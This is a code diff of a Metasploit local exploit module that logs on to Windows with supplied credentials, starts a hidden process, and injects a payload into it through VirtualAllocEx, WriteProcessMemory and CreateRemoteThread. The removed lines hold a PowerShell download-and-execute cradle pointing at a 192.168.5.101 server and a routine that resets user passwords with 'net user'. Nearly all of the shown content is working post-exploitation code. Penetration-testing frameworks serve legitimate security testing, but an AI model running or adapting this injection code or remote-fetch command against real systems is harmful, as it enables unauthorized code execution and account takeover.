|
7 | 7 | require 'rex'
|
8 | 8 |
|
9 | 9 | class Metasploit3 < Msf::Exploit::Local
|
10 |
| - include Msf::Post::File |
11 |
| - include Msf::Post::Windows::Priv |
12 |
| - include Msf::Exploit::Powershell |
| 10 | + |
13 | 11 | include Msf::Post::Windows::Runas
|
14 | 12 |
|
15 | 13 | def initialize(info={})
|
16 | 14 | super(update_info(info,
|
17 |
| - 'Name' => "Windows Manage Run Command As User", |
| 15 | + 'Name' => "Windows Run Command As User", |
18 | 16 | 'Description' => %q{
|
19 | 17 | This module will login with the specified username/password and execute the
|
20 |
| - supplied command as a hidden process. Output is not returned by default, by setting |
21 |
| - CMDOUT to false output will be redirected to a temp file and read back in to |
22 |
| - display.By setting advanced option SETPASS to true, it will reset the users |
23 |
| - password and then execute the command. |
| 18 | + supplied command as a hidden process. Output is not returned by default. |
| 19 | + Unless targetting a local user either set the DOMAIN, or specify a UPN user |
| 20 | + format (e.g. user@domain). This uses the CreateProcessWithLogonW WinAPI function. |
| 21 | +
|
| 22 | + A custom command line can be sent instead of uploading an executable. |
| 23 | + APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName and lpCommandLine |
| 24 | + respectively. See the MSDN documentation for how these two values interact. |
24 | 25 | },
|
25 | 26 | 'License' => MSF_LICENSE,
|
26 | 27 | 'Platform' => ['win'],
|
27 | 28 | 'SessionTypes' => ['meterpreter'],
|
28 |
| - 'Author' => ['Kx499'], |
29 |
| - 'Targets' => [ [ 'Universal', {} ] ], |
30 |
| - 'DefaultTarget' => 0 |
| 29 | + 'Author' => ['Kx499', 'Ben Campbell'], |
| 30 | + 'Targets' => [ |
| 31 | + [ 'Automatic', { 'Arch' => [ ARCH_X86 ] } ] |
| 32 | + ], |
| 33 | + 'DefaultTarget' => 0, |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/ms682431' ] |
| 37 | + ] |
31 | 38 | ))
|
32 | 39 |
|
33 | 40 | register_options(
|
34 | 41 | [
|
35 |
| - OptString.new('DOMAIN', [true, 'Domain to login with' ]), |
| 42 | + OptString.new('DOMAIN', [false, 'Domain to login with' ]), |
36 | 43 | OptString.new('USER', [true, 'Username to login with' ]),
|
37 | 44 | OptString.new('PASSWORD', [true, 'Password to login with' ]),
|
38 |
| - OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)']), |
39 |
| - OptString.new('COMMAND_LINE', [true, 'Command line to execute (lpCommandLine)']), |
40 |
| - ], self.class) |
41 |
| - |
42 |
| - register_advanced_options( |
43 |
| - [ |
44 |
| - OptBool.new('CMDOUT', [true, 'Retrieve command output', false]), |
45 |
| - OptBool.new('SETPASS', [true, 'Reset password', false]) |
| 45 | + OptString.new('APPLICATION_NAME', [false, 'Application to be executed (lpApplicationName)', nil ]), |
| 46 | + OptString.new('COMMAND_LINE', [false, 'Command line to execute (lpCommandLine)', nil ]), |
| 47 | + OptBool.new('USE_CUSTOM_COMMAND', [true, 'Specify custom APPLICATION_NAME and COMMAND_LINE', false ]) |
46 | 48 | ], self.class)
|
47 | 49 | end
|
48 | 50 |
|
49 |
| - # Check if sufficient privileges are present for certain actions and run getprivs for system |
50 |
| - # If you elevated privs to system,the SeAssignPrimaryTokenPrivilege will not be assigned. You |
51 |
| - # need to migrate to a process that is running as |
52 |
| - # system. If you don't have privs, this exits script. |
53 |
| - def priv_check |
54 |
| - if is_system? |
55 |
| - privs = session.sys.config.getprivs |
56 |
| - if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") |
57 |
| - @isadmin = false |
58 |
| - return true |
59 |
| - else |
60 |
| - return false |
61 |
| - end |
62 |
| - elsif is_admin? |
63 |
| - @isadmin = true |
64 |
| - return true |
65 |
| - else |
66 |
| - return false |
67 |
| - end |
68 |
| - end |
69 |
| - |
70 |
| - def reset_pass(user, password) |
71 |
| - cmd = "cmd.exe /c net user #{user} #{password}" |
72 |
| - r = cmd_exec(cmd) |
73 |
| - return r.include?("successfully") |
74 |
| - end |
75 |
| - |
76 | 51 | def exploit
|
77 |
| - fail_with(Exploit::Failure::BadConfig, "Must be a meterpreter session") if session.sys.config.sysinfo.type != "meterpreter" |
78 |
| - |
79 |
| - # check/set vars |
80 |
| - cmdout = datastore["CMDOUT"] |
81 |
| - user = datastore["USER"] |
82 |
| - password = datastore["PASS"] |
83 |
| - application_name = datastore['APPLICATION_NAME'] |
84 |
| - command_line = datastore["COMMAND_LINE"] |
85 |
| - domain = datastore['DOMAIN'] |
86 |
| - |
87 |
| - cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true) |
| 52 | + fail_with(Exploit::Failure::BadConfig, 'Must be a meterpreter session') unless session.type == 'meterpreter' |
88 | 53 |
|
89 |
| - cmdstr = 'powershell.exe -C IEX ((new-object net.webclient).downloadstring(\'http://192.168.5.101:8080/x86\'))' |
| 54 | + domain = datastore['DOMAIN'] |
| 55 | + user = datastore['USER'] |
| 56 | + password = datastore['PASSWORD'] |
90 | 57 |
|
91 |
| - if is_system? |
92 |
| - puts create_process_as_user(domain, |
93 |
| - user, |
94 |
| - password, |
95 |
| - application_name, |
96 |
| - command_line) |
| 58 | + if datastore['USE_CUSTOM_COMMAND'] |
| 59 | + application_name = datastore['APPLICATION_NAME'] |
| 60 | + command_line = datastore['COMMAND_LINE'] |
97 | 61 | else
|
98 |
| - puts create_process_with_logon(domain, |
99 |
| - user, |
100 |
| - password, |
101 |
| - application_name, |
102 |
| - command_line) |
103 |
| - |
104 |
| - #print_error("Insufficient Privileges, either you are not Admin or system or you elevated") |
105 |
| - #print_error("privs to system and do not have sufficient privileges. If you elevated to") |
106 |
| - #print_error("system, migrate to a process that was started as system (srvhost.exe)") |
107 |
| - #return 0 |
| 62 | + command_line = nil |
| 63 | + windir = get_env('windir') |
| 64 | + |
| 65 | + # Select path of executable to run depending the architecture |
| 66 | + case client.platform |
| 67 | + when /x86/ |
| 68 | + application_name = "#{windir}\\System32\\notepad.exe" |
| 69 | + when /x64/ |
| 70 | + application_name = "#{windir}\\SysWOW64\\notepad.exe" |
| 71 | + end |
108 | 72 | end
|
109 | 73 |
|
110 |
| - return |
111 |
| - |
112 |
| - # Only process file if the process creation was successful, delete when done, give us info |
113 |
| - # about process |
114 |
| - if cs["return"] |
115 |
| - tmpout = "" |
116 |
| - if cmdout |
117 |
| - outfile = session.fs.file.new(outpath, "rb") |
118 |
| - until outfile.eof? |
119 |
| - tmpout << outfile.read |
120 |
| - end |
121 |
| - outfile.close |
122 |
| - c = session.sys.process.execute("cmd.exe /c del #{outpath}", nil, {'Hidden' => true}) |
123 |
| - c.close |
| 74 | + pi = create_process_with_logon(domain, |
| 75 | + user, |
| 76 | + password, |
| 77 | + application_name, |
| 78 | + command_line) |
| 79 | + |
| 80 | + return unless pi |
| 81 | + |
| 82 | + begin |
| 83 | + return if datastore['USE_CUSTOM_COMMAND'] |
| 84 | + |
| 85 | + vprint_status('Injecting payload into target process') |
| 86 | + raw = payload.encoded |
| 87 | + process_handle = pi[:process_handle] |
| 88 | + virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle, |
| 89 | + nil, |
| 90 | + raw.length, |
| 91 | + 'MEM_COMMIT|MEM_RESERVE', |
| 92 | + 'PAGE_EXECUTE_READWRITE') |
| 93 | + |
| 94 | + |
| 95 | + address = virtual_alloc['return'] |
| 96 | + fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0 |
| 97 | + |
| 98 | + write_memory = session.railgun.kernel32.WriteProcessMemory(process_handle, |
| 99 | + address, |
| 100 | + raw, |
| 101 | + raw.length, |
| 102 | + 4) |
| 103 | + |
| 104 | + fail_with(Exploit::Failure::Unknown, |
| 105 | + "Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return'] |
| 106 | + |
| 107 | + create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle, |
| 108 | + nil, |
| 109 | + 0, |
| 110 | + address, |
| 111 | + nil, |
| 112 | + 0, |
| 113 | + 4) |
| 114 | + if create_remote_thread['return'] == 0 |
| 115 | + print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}") |
| 116 | + else |
| 117 | + print_good("Started thread in target process") |
124 | 118 | end
|
125 |
| - |
126 |
| - pi = cs["lpProcessInformation"].unpack("LLLL") |
127 |
| - print_status("Command Run: #{cmdstr}") |
128 |
| - print_status("Process Handle: #{pi[0]}") |
129 |
| - print_status("Thread Handle: #{pi[1]}") |
130 |
| - print_status("Process Id: #{pi[2]}") |
131 |
| - print_status("Thread Id: #{pi[3]}") |
132 |
| - print_line(tmpout) |
133 |
| - else |
134 |
| - print_error("#{cs["ErrorMessage"]}") |
135 |
| - return 0 |
| 119 | + ensure |
| 120 | + session.railgun.kernel32.CloseHandle(pi[:process_handle]) |
| 121 | + session.railgun.kernel32.CloseHandle(pi[:thread_handle]) |
136 | 122 | end
|
137 | 123 | end
|
138 | 124 | end
|
0 commit comments